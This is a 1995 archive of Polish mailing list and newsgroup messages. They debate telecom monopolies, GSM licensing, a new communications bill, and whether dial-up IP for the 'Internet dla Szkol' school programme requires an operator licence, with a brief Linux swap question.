polip@zsku.p.lodz.pl Date: Wed, 11 Jan 1995 21:28:34 GMT+0100 Subject: Re: KOLPAK (bylo: Siec Optimusa?) Priority: normal X-Mailer: Pegasus Mail v3.21 Message-Id: <1753BA298A@inf.wsp.krakow.pl> > Date sent: Wed, 11 Jan 95 16:13:19 +0100 > Send reply to: polip@zsku.p.lodz.pl > From: zych@student.uci.agh.edu.pl (Zbigniew Zych) > To: sfrafa@cyf-kr.edu.pl > Subject: Re: Siec Optimusa? > Organization: University of Mining and Metallurgy > > Nie jest tak zle. Troche firm, ktore kable juz maja czeka w pogotowiu. > > Na przyklad PKP - siec jest chyba z 10 razy wieksza niz POLPAK. Nawet > > ma juz nazwe - KOLPAK, i chyba odpowiednie zezwolenia. Brakuje tylko > > sprywatyzowania, zeby zechcieli uslugi sprzedawac. > > PKP ma nie tylko zezwolenia - ale siec. Oni na tym juz dzialaja... [...] > > Z tego co mi wiadomo (artykul z bodajze Computerworld'a - ale stary) > nie bedzie sie prywatyzowac - ani sprzedawac uslug - po prostu to ma > byc wewnetrzna siec kolejowa... Ew. jedna wieksza firma moze korzystac > na zasadach odplatnosci, ale nie ma to byc dostepna powszechnie siec... ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Ma !!! Od 1 stycznia 1995 siec KOLPAK oficjalnie przyjela status sieci publicznej. (informacja z PCkuriera, Netforum, Gazety Wyborczej i chyba byla takze w TV). Pozdrowienia, Jaroslaw Rafa sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl From lbs@phys.ufl.edu Thu Jan 12 08:11:45 1995 Received: from neptune-gw.phys.ufl.edu by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA02551; Thu, 12 Jan 95 08:06:15 +0100 Return-Path: Received: from madeira.phys.ufl.edu by phys.ufl.edu (4.1/5.02) id AA15437; Thu, 12 Jan 95 02:06:28 EST Received: by madeira.phys.ufl.edu; Thu, 12 Jan 95 02:06:27 EST Date: Thu, 12 Jan 95 02:06:27 EST From: lbs@phys.ufl.edu Message-Id: <9501120706.AA21202@madeira.phys.ufl.edu> To: polip@zsku.p.lodz.pl Subject: Re: Siec Optimusa? A co do Optimusa, to mam wrazenie, ze firma ma za malo pieniedzy na inwestycje telekomunikacyjne. W tym kraju chyba nikt nie ma odpowiednich pieniedzy. Jarek. --- Optimus moze pozyczyc w banku. Z zachodniego banku tez mozna wziac. TP SA m.in. pozyczyla pieniadze za granica na inwestycje. Zwrocmy tez uwage na to, ze TP SA inwestuje pieniadze, ktore zarabia za niesamowicie drogie uslugi telefoniczne. A jest monopolista i ludzie musza im placic, bo konkurencji nie ma. A TP bedzie mowic: prosze, inwestujemy, ile tylko sie da. Przy obecnym poziomie cen na telefony w PL kazda firma na rynku bedzie zarabiac grube pieniadze. Nie trzeba byc wielkim biznesmenem, zeby w takich warunkach wyjsc na swoje. Wystarczy pewien kapital na start, a dalej juz sie sciaga pieniadze z klientow. Banki przy tym chetnie dadza, bo jest doskonala perspektywa na zyski. Innym wariantem jest wspolpraca z duza firma zagraniczna, co w jakiejs formie i tak jest potrzebne, bo stamtad importujemy sprzet komunikacyjny. Firmy zachodnie wejda w rynek telefoniczny z pocalowaniem reki: patrz Wegry i Czechy. Juz pisalem wczesniej i powtarzam: Czesi sprzedaja 27% udzialow w swojej Telekomie i na pewno na tym nie straca: budzet dostaje grube pieniadze, ktore moze zainwestowac gdzie indziej, a ludzie maja telefony. W Zyciu Warszawy z bodajze 10 grudnia '94 omowiono sytuacje w telefonii komorkowej: ---------------------------------------------------------------------- MONOPOL BEZ DRUTU - DROGIE "KOMORKI" Dzieki konkurencji firm telekomunikacyjnych, w USA telefon komorkowy mozna kupic srednio za 50 dolarow. W Polsce, gdzie "komorki" sa zmonopolizowane, na wydanie nan 1500 dolarow moga sobie pozwolic tylko nieliczni. Ministerstwo Lacznosci dlugo nie moglo sie zdecydowac na rozpisanie przetargu na koncesje na nowoczesny system telefonii cyfrowej GSM. Pozwolilby on przelamac monopol Polskiej Telefonii Komorkowej Centertel - spolki, ktorej glownym udzialowcem jest inny monopolista - panstwowa Telekomunikacja Polska SA. Polskie "komorki" dzialaja w przestarzalym systemie analogowym NMT, ktoremu grozi zatkanie. Klopoty z dodzwonieniem sie maja juz posiadacze "komorek" w Warszawie. Centertel rozwaza wiec podniesienie cen drugiej i nastepnych minut rozmow, by "zachecic" abonentow do szybszego wylaczenia sie z sieci. Jak dowiedzialo sie "Zycie", przetarg na 2 koncesje na GSM zostanie wreszcie ogloszony na wiosne 1995 r. [...] U nas "komorki" pojawily sie w 1992 za sprawa Polskiej Telefonii Komorkowej (PKT) Centertel, ktora do dzis jako jedyna posiada koncesje na te dzialalnosc. Glownym udzialowcem (51%) spolki jest panstwowy monopolista telefoniczny Telekomunikacja Polska SA. Reszta udzialow jest we wladaniu (po polowie) firm Ameritech (USA) i France Telekom (Francja). Wobec katastrofalnego stanu przewodowej lacznosci telefonicznej, "komorka" miala byc proteza normalnego telefonu przeznaczonego glownie dla ludzi biznesu. Wybrano wychodzacy ze swiatowej mody system analogowy NMT dzialajacy na czestotliwosci 450 MHz. Na czestotliwosciach uzytkowanych przez znacznie nowoczesniejszy system cyfrowy GSM (900 MHz) pracowalo bowiem wojsko. Podobna droge wybraly takze inne panstwa postkomunistyczne -- Wegry, Czechy, Slowenia, Estonia, Rosja. [...] NMT jest najbardziej popularny w swej ojczyznie -- Skandynawii. Jednak na swiecie korzysta zen ledwo 1.5 mln osob. Porownujac te liczbe z 100 mln abonentow GSM, nietrudno zrozumiec, dlaczego sprzet NMT jest wielokrotnie drozszy. Polskie "komorki" takze sa bliskie zatkania. Liczba abonentow rosnie bardzo gwaltownie (300%) rocznie i dlatego w wielkich aglomeracjach (szczegolnie w Warszawie) coraz czesciej sa klopoty z dodzwonieniem sie. [...] Specjalisci twierdza, ze granice mozliwosci obecnego systemu stanowi ok. 150 tys. posiadaczy telefonow komorkowych. Jest ich juz 30 tys. Dlatego przyszlosc to cyfrowy system GSM: nie tylko umozliwi gestsze "upakowanie" komorek, ale takze pozwoli zerwac z monopolem, tak kosztownym dla abonentow. [...] Ostatecznie przetarg jest spodziewany na poczatku 1995 r. Prawo do uslug w GSM uzyska co najmniej dwoch operatorow. W szranki stanie na pewno dzisiejszy monopolista -- Centertel. Konkurowac bedzie prawdopodobnie z Elektrimem. Niewykluczone, ze o GSM ubiegac bedzie sie takze ktorys z trzech wielkich dostawcow sprzetu dla Telekomunikacji: Siemens, ATT lub Alcatel. -- Telefonia komorkowa jest zyla zlota. Pozostaje miec nadzieje, ze urzednicy z Placu Malachowskiego [siedziba ministerstwa -- red.] tez o tym wiedza -- stwierdzil niedawno jeden z dyrektorow Alcatela. [...] Ile kosztuje "komorka" Minuta rozmowy Srednik koszt Srednie zarobki podlaczenia telefonu $0.36 $60 $2167 USA $0.39-1.95 brak danych $2470 W.Brytania $0.31-1.87 $48.1 $2393 Niemcy $0.3-1.2 b.d. $2300 Francja $0.34-0.54 $500 $ 252 Polska ------------------------------------------------------------------------- Zakoncze przykladem z tutejszego (USA) rynku. Kilka dni temu dostalem poczta czek na $35 od MCI, jednej z firm oferujacych polaczenia dlugodystansowe. Zachecali mnie w ten sposob, bym zrezygnowal z uslug AT&T i przeniosl sie do nich. Dlugo sie nie namyslalem, zadzwonilem do MCI po 4-cyfrowy kod (potrzebny byl do nadania waznosci czekowi) i powiedzialem, ze sie przelaczam. Lokalna firma telefoniczna, Bell South pobiera $1.49 oplaty za zmiane firmy na rozmowy dlugodystansowe. Te oplate pokryje MCI. A ja skasowalem $35 i jestem zadowolony. Polecam ten przyklad pod rozwage. Lech Borkowski P.S. Sorry za dlugi posting o telefonach, ale i sieci komputerowe i telefony to ta sama para kaloszy. Maciek Uhlig pisal nam, ze przygotowywana jest nowa ustawa komunikacyjna. Co o niej wiedza uzytkownicy Internetu w Polsce? Kto ich reprezentuje w przesluchaniach komisji sejmowych? From muhlig@usctoux1.cto.us.edu.pl Thu Jan 12 08:35:11 1995 Received: from usctoux1.cto.us.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA03384; Thu, 12 Jan 95 08:31:46 +0100 Return-Path: Subject: Ustawa o lacznosci (nowa) Bylo Re: Siec Optimusa? To: polip@zsku.p.lodz.pl Date: Thu, 12 Jan 1995 08:35:18 -0100 (MET) From: Maciek Uhlig In-Reply-To: <9501120706.AA21202@madeira.phys.ufl.edu> from "lbs@phys.ufl.edu" at Jan 12, 95 08:21:17 am X-Mailer: ELM [version 2.4 PL23~] Content-Type: text Content-Length: 1044 Message-Id: <9501120835.aa09235@usctoux1.cto.us.edu.pl> lbs@phys.ufl.edu wrote: > Maciek Uhlig pisal nam, ze przygotowywana jest nowa > ustawa komunikacyjna. Co o niej wiedza uzytkownicy > Internetu w Polsce? Kto ich reprezentuje w przesluchaniach > komisji sejmowych? Projekt ustawy trafil niedawno z rzadu do Sejmu. Jest nie do wyciagniecia zarowno z Min. Lacznosci, jak i z Sejmu. Trzeba poczekac na pierwsze czytanie w Sejmie. Wtedy Sejm zapewne przekaze go do komisji sejmowej w celu dalszych prac. Wtedy trzeba zdobyc projekt i - jesli nie przyniesie satysfakcjonujacych rozwiazan w dziedzinie sieci - wywrzec presje na lokalnych poslow, argumentujac nasze stanowisko i cele. Maciek Uhlig ---------------------------------------------------------------------- Maciej UHLIG, Computer Center, Silesian University Uniwersytecka 4 St., 40-007 KATOWICE, POLAND Internet: muhlig@usctoux1.cto.us.edu.pl Voice: +48 (32) 588211 (1768) Fax: +48 (32) 596847 ***** Imagine all the people sharing all the world (John Lennon) ***** From muhlig@usctoux1.cto.us.edu.pl Thu Jan 12 08:41:47 1995 Received: from usctoux1.cto.us.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA03756; Thu, 12 Jan 95 08:40:04 +0100 Return-Path: Subject: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd) To: polip@zsku.p.lodz.pl Date: Thu, 12 Jan 1995 08:43:35 -0100 (MET) From: Maciek Uhlig X-Mailer: ELM [version 2.4 PL23~] Content-Type: text Content-Length: 9219 Message-Id: <9501120843.aa09522@usctoux1.cto.us.edu.pl> Przesylam mail Jacka Gajewskiego zamieszczony na liscie "Internet dla szkol", a dotyczacy dial-up IP, podstawowej metody technicznej wykorzystywanej w programie IdS. Problem nie dotyczy tylko IdS. Jest zywotny dla nas wszystkich. Wysylajcie swoje opinie na ten temat, gdzie tylko mozecie. Zrobmy cos wreszcie razem, aby wyzwolic sie spod kaganca starej ustawy o lacznosci, interpretowanej w wygodny dla siebie sposob przez NASK i Ministerstwo Lacznosci. Maciek Uhlig gajewski@hozavx.fuw.edu.pl wrote: > From usctoux1 Thu Jan 12 07:23:26 1995 > Errors-To: GAJEWSKI@hozavx.fuw.edu.pl > X-Listname: Internet dla Szkol > Sender: gajewski@hozavx.fuw.edu.pl > MMDF-Warning: Parse error in original version of preceding line at usctoux1.cto.us.edu.pl > Date: Thu, 12 Jan 1995 07:19:21 CET > From: gajewski@hozavx.fuw.edu.pl > Reply-To: IDS@hozavx.fuw.edu.pl > To: ids@hozavx.fuw.edu.pl, fdl50@plearn.edu.pl, wiktor@frodo.nask.org.pl, > oper@frodo.nask.org.pl > Message-Id: <0098A575.4953B900.20516@hozavx.fuw.edu.pl> > Subject: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego > > Jacek Gajewski: > > Poruszony otrzymana wczoraj poznym wieczorem wiadomoscia z zebrania > przedstawicieli NASK i URM pojawiam sie o tej poganskiej porze aby > podzielic sie z Wami mysla, ktora nie dawala mi spac w nocy: > > W moim mniemaniu kapitalnym problemem jest czym bedzie "Internet dla > Szkol" - programem, siecia, stowarzyszeniem, instytucja ...??? > > Jak roztrzygniemy ten problem to wtedy nalezy okreslic stosowna formule > organizacyjno-prawna dla IdS. > > Aby jednak oba powyzsze problemy rozstrzygnac trzeba NAJPIERW umiec > odpowiedziec na pytanie: > > CZY TO CO ZAMIERZAMY ROBIC WYMAGA UZYSKANIA ZEZWOLENIA KOMUNIKACYJNEGO ? > ------------------------------------------------------------------------ > > Wszyscy wiemy, ze z ustawy to jasno nie wynika. I albo przyjmiemy, > ze dozwolone jest to co nie jest zabronione albo ze zabronione jest > wszystko co nie jest dozwolone. Dotychczasowe glosy na tej liscie > wyraznie wskazywaly, ze zdania sa podzielone. > > Przypomne jeszcze raz co zamierzamy robic: > - dac uczniom przy pomocy protokolu SLIP (lub PPP) mozliwosc > korzystania z WWW, ftp, irc, Usenetu i e-mailu. Koniec, kropka. > - uczniowie NIE MAJA kont na serwerze, lecz tylko skrzynki pocztowe. > - telnet jest zablokowany. > - szkoly NIE MAJA stalego adresu IP - ma je konkretny serwer komunikacyjny > i kazdy z jego portow. > Czyli z dokladnoscia do e-maili ruch jest tylko w jedna strone - > uczniowie dostaja do szkoly Internetowe 'okno na swiat'. > > Podobno jakies cialo w Ministerstwie bada czy 'SLIP dzwoniony' wymaga > zezwolenia czy nie. Tak twierdzi Wiktor Krzanowski, nie zgadza sie > z tym prof. Tomasz Hofmokl. > > Kazdy, kto otarl sie o proces otrzymywania zezwolenia wie jak skompliko- > wana i dlugotrwala jest to procedura. Zastosowanie jej do naszego > przypadku opozni start programu co najmniej o pol roku. > > Kazdy, kto przeczytal tekst zezwolenia wie jak wysokie wymagania > spelniac musi operator sieci telekomunikacyjnej. M.in. aby prowadzic > prawidlowa (w swietle zezwolenia !) dokumentacje nalezy zatrudnic > 2-3 osoby obslugi administracyjnej. Zastosowanie jej do naszego > przypadku jest praktycznie niemozliwe dla wezlow lokalnych. > > Poniewaz, nie chcialbym znieksztalcic argumentow tych osob, ktore > twierdza, ze to co robimy wymaga zezwolenia, bylbym bardzo wdzieczny > Panu inz. Andrzejowi Zienkiewiczowi i Panu dr. Miroslawowi Zmyslonemu > o ich krotkie przedstawienie. Jako przyklad argumentacji przeciwnej > zalaczam mail Macka Uhliga do Andrzeja Gorbiela (Macku - wybacz ze nie > konsultuje tego z Toba). > > Prosba do Wiktora Krzanowskiego - czy wiesz o tym 'ciale' w ML, > ktore bada problem 'dzwonionego SLIPa' ? > > Prosba do Marka Cara: Czy moglbys (Ty a moze wrecz Premier?) poprosic > Ministerstwo Lacznosci o interpretacje ustawy w naszym przypadku ? > > > Serdecznie Pozdrawiam > Jacek Gajewski > > > Zalacznik: mail M.Uhliga do A.Gorbiela > ------------------------------------- > > > Subject: dial-up IP a ustawa o lacznosci > To: Andrzej Gorbiel > Date: Mon, 19 Dec 1994 15:44:10 -0100 (MET) > From: Maciek Uhlig > CC: gajewski@hozavx.fuw.edu.pl > > Witam! > > W najnowszym numerze "KiB" napisal Pan: > > " > Nie wolno natomiast bez specjalnych uprawnien (tzw. operatorskich) > laczyc sieci. W szczegolnosci ustawa nie pozwala dolaczac do Internetu > komputera domowego. Tymczasem na swiecie popularny staje sie dostep do > sieci (tzw. dial-IP) polegajacy na wybraniu numeru uslugodawcy i dalej > uruchamianiu sieciowych programow na wlasnym pececie. Przy tym sposobie > pecet uzytkownika na czas trwania polaczenia telefonicznego jest > pelnoprawnym komputerem Internetu. > > Sztuczne rozroznienie tych dwoch sposobow korzystania z sieci powoduje, > ze w Polsce o tym, czy polaczenie z Internetem nalezy uznac za legalne, > decyduja subtelne roznice techniczne pomiedzy uzywanymi programami. > " > > W moim najglebszym przekonaniu ten akapit zawiera nieprawdziwa > tresc i nieprawidlowa interpretacje. Moze to spowodowac kolejna > lawine nieporozumien. Proponuje, aby w kolejnym numerze "KiB" zechcial > Pan zrewidowac swoje poglady na dial-up IP biorac pod uwage nastepujace > argumenty: > > - prawda jest, ze nie wolno laczyc sieci bez zezwolenia operatorskiego > - nieprawda jest, ze ustawa w szczegolnosci nie pozwala dolaczac do > Internetu komputera domowego. > Prosilbym o wskazanie, gdzie w ustawie (paragraf, punkt) jest to > napisane. > - realizacja dial-up IP polega (w interesujacym nas wariancie > uzytkownika indywidualnego) na tym, ze uzytkownik dzwoni do > serwera komunikacyjnego uslugodawcy, podaje login i password, > poleca przestawic linie w tryb SLIP lub PPP, ponownie podaje > login i password zezwalajacy na IP i OTRZYMUJE od serwera adres IP, > ktorego wolno mu uzywac (inny adres IP nie bedzie dzialal). > Jest to adres IP nalezacy do sieci, ktorej dysponentem jest instytucja, > udostepniajaca serwer komunikacyjny. Polaczenie modemowe do pojedynczego > komputera nie jest wiec (w swietle ustawy o lacznosci) "budowa > i uzywaniem sieci", lecz czasowym rozszerzeniem zasiegu sieci "stalej" > na komputer przylaczony za pomoca modemu. Istnieje gwarancja, ze > polaczenie takie jest wykorzystywane jedynie w ramach danej instytucji > z uwagi na to, ze autentyfikacja polaczenia dokonywana jest przez > login/password na serwerze UNIXowym instytucji (TACACS), na ktorym > trzeba miec konto, aby w ogole polaczyc sie z siecia instytucji > udostepniajacej serwer. > - mozna rozszerzyc te interpretacje na polaczenie modemowe nie > pojedynczego komputera, lecz calej sieci lokalnej. Musi ona > miec adresy IP z sieci obslugiwanej przez instytucje. Po podobnej, > jak wyzej, autentyfikacji, uruchamiany jest routing jedynie na te > adresy IP, ktore naleza do sieci, laczacej sie za pomoca modemu. > W ten sposob moznaby podlaczyc do Internetu np. wydzial uczelni, > polozony tam, gdzie nie ma szansy na uzyskanie lacza dzierzawionego. > - kluczem zatem do zagadnienia, co jest siecia, sa dwie powiazane ze soba > okolicznosci: > 1. adresy IP nalezace do tej samej klasy (wszystkie sa w dyspozycji > jednej instytucji) > 2. autentyfikacja polaczen, umozliwiajaca korzystanie z IP jedynie > pracownikom danej instytucji > - w zwiazku z powyzszym, dial-up IP nie moze byc w zaden sposob > traktowany jako naruszenie obowiazujacej ustawy o lacznosci. Podobnie, > jak polaczenia terminalowe, wykorzystuje on srodki lacznosci > (telefonie glosowa) udostepniane przez legalnego operatora (TPSA). > - naruszeniem ustawy o lacznosci byloby dopiero udostepnianie routingu > dla innych klas adresowych. Wtedy instytucja stalaby sie IP providerem > i musialaby uzyskac zezwolenie operatorskie. > > Informuje, ze w Uniwersytecie Slaskim uruchomilem pare tygodni temu > serwer komunikacyjny dzialajacy na opisanych wyzej zasadach, z ktorego > (i w trybie terminalowym, i w trybie dial-up IP) chetnie korzystaja > uzytkownicy. Jestem przekonany, ze lansowana przez Pana interpretacja > jest nieprawidlowa, a kazdy, nawet niezbyt zdolny prawnik, wybronilby > mnie od ewentualnych zarzutow postawionych na bazie Pana pomyslow. > Sad natomiast mialby bardzo trudne zadanie uzasadniajac, ze gdy > bajty sa przesylane kermitem, to jest legalne, a gdy przez TCP/IP, to > juz zabronione (w swietle, oczywiscie, ustawy o lacznosci). > > Nadto o dial-up IP oparty jest projekt techniczny akcji "Internet > dla szkol". Mysle, ze nie zalezy Panu na jego storpedowaniu. > > Przesylam pozdrowienia, > > Maciek Uhlig > Maciek Uhlig ---------------------------------------------------------------------- Maciej UHLIG, Computer Center, Silesian University Uniwersytecka 4 St., 40-007 KATOWICE, POLAND Internet: muhlig@usctoux1.cto.us.edu.pl Voice: +48 (32) 588211 (1768) Fax: +48 (32) 596847 ***** Imagine all the people sharing all the world (John Lennon) ***** From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 12 11:26:46 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA06439; Thu, 12 Jan 95 11:24:05 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id LAA20667 for polip@zsku.p.lodz.pl; Thu, 12 Jan 1995 11:18:58 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 12 Jan 1995 10:16:35 GMT From: ind43@sun1000.ci.pwr.wroc.pl (Marek Michalkiewicz) Message-Id: <3f2vi3$j2v@sun1000.ci.pwr.wroc.pl> Organization: Technical Univeristy of Wroclaw Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501111358.AA16430@student.uci.agh.edu.pl> Subject: Re: Swap on Linux (Announce: X PC Server) Zbigniew Zych (zych@student.uci.agh.edu.pl) wrote: : Tak sie zastanawiam, w koncu Linux ma 2 mozliwosci swapowania: : - swap partition : - swap file. : Czy nie mozna swap file zalozyc na NFSie? Wlasnie niestety nie - system plikow na ktorym sie to robi musi byc na urzadzeniu blokowym. Sprawdzalem to w linux/mm/swap.c i latwo to mozna sprawdzic montujac cos z localhost z mozliwoscia zapisu i probujac tam zrobic swapa - nie zadziala. A szkoda. Moze bedzie w 1.3.xx? Pozdrawiam -- Marek Michalkiewicz marekm@i17linuxa.ists.pwr.wroc.pl || ind43@ci3ux.ci.pwr.wroc.pl From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 12 14:05:11 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA09277; Thu, 12 Jan 95 14:04:07 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA02215 for polip@zsku.p.lodz.pl; Thu, 12 Jan 1995 14:01:43 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 12 Jan 1995 07:55:43 -0500 From: zbig@junior.wariat.org (Zbigniew J. Tyrlik) Message-Id: <3f38sf$knp@junior.wariat.org> Organization: Akademia Pana Kleksa, Public Access Uni* Site Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501120843.aa09522@usctoux1.cto.us.edu.pl> Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd) In <9501120843.aa09522@usctoux1.cto.us.edu.pl> muhlig@usctoux1.cto.us.edu.pl (Maciek Uhlig) writes: >> Jacek Gajewski: >> >> Przypomne jeszcze raz co zamierzamy robic: >> - dac uczniom przy pomocy protokolu SLIP (lub PPP) mozliwosc >> korzystania z WWW, ftp, irc, Usenetu i e-mailu. Koniec, kropka. >> - uczniowie NIE MAJA kont na serwerze, lecz tylko skrzynki pocztowe. >> - telnet jest zablokowany. >> - szkoly NIE MAJA stalego adresu IP - ma je konkretny serwer komunikacyjny >> i kazdy z jego portow. >> Czyli z dokladnoscia do e-maili ruch jest tylko w jedna strone - >> uczniowie dostaja do szkoly Internetowe 'okno na swiat'. Jacku, nie doceniasz mlodziezy.... nawet jezeli dolozysz do tego filtrowanie pakietow, to nie zablokujesz niczego - w pol godziny po tym jak pierwszy uczen wskoczy na IRC i sie poskarzy ze faszystowski dyrektor nie pozwala mu na uzycie telnetu ktos na Linuxe uruchomi telnetd na innym porcie... I czesc. Nie jest to prawda ze ruch jest w jedna strone. Nie ludz sie. >> >> Kazdy, kto przeczytal tekst zezwolenia wie jak wysokie wymagania >> spelniac musi operator sieci telekomunikacyjnej. M.in. aby prowadzic >> prawidlowa (w swietle zezwolenia !) dokumentacje nalezy zatrudnic >> 2-3 osoby obslugi administracyjnej. Zastosowanie jej do naszego >> przypadku jest praktycznie niemozliwe dla wezlow lokalnych. Calkowicie sie zgadzam z opinia ze wymaganie zezwolenia jest _absolutna_ bzdura, produktem umyslow ksztaltowanych poprzez nadopiekuncze panswto i uwazajacych ze najlepsza recepta na problem jest przepis. Jestem operatorem sieci. Prowadze taki sobie wezelek, z ktorego korzystaja tysiace ludzi. Czy potrzebowalem jakiegos zezwolenia ? Chron Boze.. tutaj rynek decyduje kto daje sobie rade. Powtarzm - z mojego doswiadczenia nie widze zadnych powodow dla takiego licencjonowania. Jedyna korzyscia jest petryfikacja istniejaych struktor i _utrudnienie_ rozwoju. >> Prosba do Marka Cara: Czy moglbys (Ty a moze wrecz Premier?) poprosic >> Ministerstwo Lacznosci o interpretacje ustawy w naszym przypadku ? Obawiam sie ze powtarza sie sytuacja ze starego kawalu o Leninie.... --- Pewnego dnia zniknela mumia Lenina. Po dlugich bezowocnych poszukiwaniach poporzez wrozke zapytano Dzierzyskiego jak znalezc Wolodie. Feliks nakazal sprawdzic awaryjna skrytke korespondencyjna.... Byla tam kartka: Feliks ! Co oni narobili.. jaki burdel.. Adresy te same, nazwiska te same, kontakty te same - zaczynamy od poczatku... ---- Moje wspolczucie. _zjt -- Zbigniew J. Tyrlik DoD# 0759 FJ1200 `89-Silver... zbig@wariat.org APK on the move New Phone - 216-241-7541 active Jan 09.95 Feeds, shell, FTP, telnet, SL/IP,PPP Uniboard distribution point From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 12 14:46:49 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA10446; Thu, 12 Jan 95 14:44:02 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA02973 for polip@zsku.p.lodz.pl; Thu, 12 Jan 1995 14:31:37 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 12 Jan 1995 13:27:06 GMT From: lis@asic.ict.pwr.wroc.pl (Jarek Lis) Message-Id: <3f3ana$l8@sun1000.ci.pwr.wroc.pl> Organization: Technical Univeristy of Wroclaw Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501120843.aa09522@usctoux1.cto.us.edu.pl> Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd) Maciek Uhlig (muhlig@usctoux1.cto.us.edu.pl) wrote: : Przesylam mail Jacka Gajewskiego zamieszczony na liscie "Internet dla szkol", : a dotyczacy dial-up IP, podstawowej metody technicznej wykorzystywanej : w programie IdS. Problem nie dotyczy tylko IdS. Jest zywotny dla nas : wszystkich. Wysylajcie swoje opinie na ten temat, gdzie tylko mozecie. : Zrobmy cos wreszcie razem, aby wyzwolic sie spod kaganca starej ustawy : o lacznosci, interpretowanej w wygodny dla siebie sposob przez NASK : i Ministerstwo Lacznosci. Sugeruje nie obrazac NASK bez potrzeby. Bo jezeli ruch ma byc internetowy, to kiedys do NASK'owych sieci musi trafic. Chyba ze ktos wystawi satelite i dogada sie z jakims IP'providerem za granica. Jarek. From muhlig@usctoux1.cto.us.edu.pl Thu Jan 12 15:56:50 1995 Received: from usctoux1.cto.us.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA11983; Thu, 12 Jan 95 15:52:41 +0100 Return-Path: Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd) To: polip@zsku.p.lodz.pl Date: Thu, 12 Jan 1995 15:56:14 -0100 (MET) From: Maciek Uhlig In-Reply-To: <3f3ana$l8@sun1000.ci.pwr.wroc.pl> from "Jarek Lis" at Jan 12, 95 02:53:26 pm X-Mailer: ELM [version 2.4 PL23~] Content-Type: text Content-Length: 1019 Message-Id: <9501121556.aa28781@usctoux1.cto.us.edu.pl> Jarek Lis wrote: > > Maciek Uhlig (muhlig@usctoux1.cto.us.edu.pl) wrote: > : Zrobmy cos wreszcie razem, aby wyzwolic sie spod kaganca starej ustawy > : o lacznosci, interpretowanej w wygodny dla siebie sposob przez NASK > : i Ministerstwo Lacznosci. > > Sugeruje nie obrazac NASK bez potrzeby. Bo jezeli ruch ma byc internetowy, > to kiedys do NASK'owych sieci musi trafic. Chyba ze ktos wystawi satelite > i dogada sie z jakims IP'providerem za granica. Nikogo nie obrazam. W szczegolnosci NASK. Zelezy mi tylko, aby ten internetowy ruch byl jak najwiekszy, a nie tlumiony przepisami starych ustaw. Maciek Uhlig ---------------------------------------------------------------------- Maciej UHLIG, Computer Center, Silesian University Uniwersytecka 4 St., 40-007 KATOWICE, POLAND Internet: muhlig@usctoux1.cto.us.edu.pl Voice: +48 (32) 588211 (1768) Fax: +48 (32) 596847 ***** Imagine all the people sharing all the world (John Lennon) ***** From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 12 16:26:50 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA12985; Thu, 12 Jan 95 16:24:01 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA05081 for polip@zsku.p.lodz.pl; Thu, 12 Jan 1995 16:17:29 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 12 Jan 1995 15:02:00 GMT From: rzm@dain.erlm.siemens.de (Rafal Maszkowski) Message-Id: <3f3g98$8g2@Waldemar.mat.uni.torun.pl> Organization: OSO Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501120835.aa09235@usctoux1.cto.us.edu.pl> Subject: Re: Ustawa o lacznosci (nowa) Bylo Re: Siec Optimusa? Maciek Uhlig (muhlig@usctoux1.cto.us.edu.pl) wrote: > lbs@phys.ufl.edu wrote: > > Maciek Uhlig pisal nam, ze przygotowywana jest nowa > > ustawa komunikacyjna. Co o niej wiedza uzytkownicy > > Internetu w Polsce? Kto ich reprezentuje w przesluchaniach > > komisji sejmowych? > Projekt ustawy trafil niedawno z rzadu do Sejmu. Jest nie do wyciagniecia > zarowno z Min. Lacznosci, jak i z Sejmu. Trzeba poczekac na pierwsze > czytanie w Sejmie. Wtedy Sejm zapewne przekaze go do komisji sejmowej > w celu dalszych prac. Wtedy trzeba zdobyc projekt i - jesli nie > przyniesie satysfakcjonujacych rozwiazan w dziedzinie sieci - wywrzec > presje na lokalnych poslow, argumentujac nasze stanowisko i cele. Czy bedziesz probowal? Moze wywrzyj nacisk zeby ktos odtajnil projekt... R. -- Rafal Maszkowski 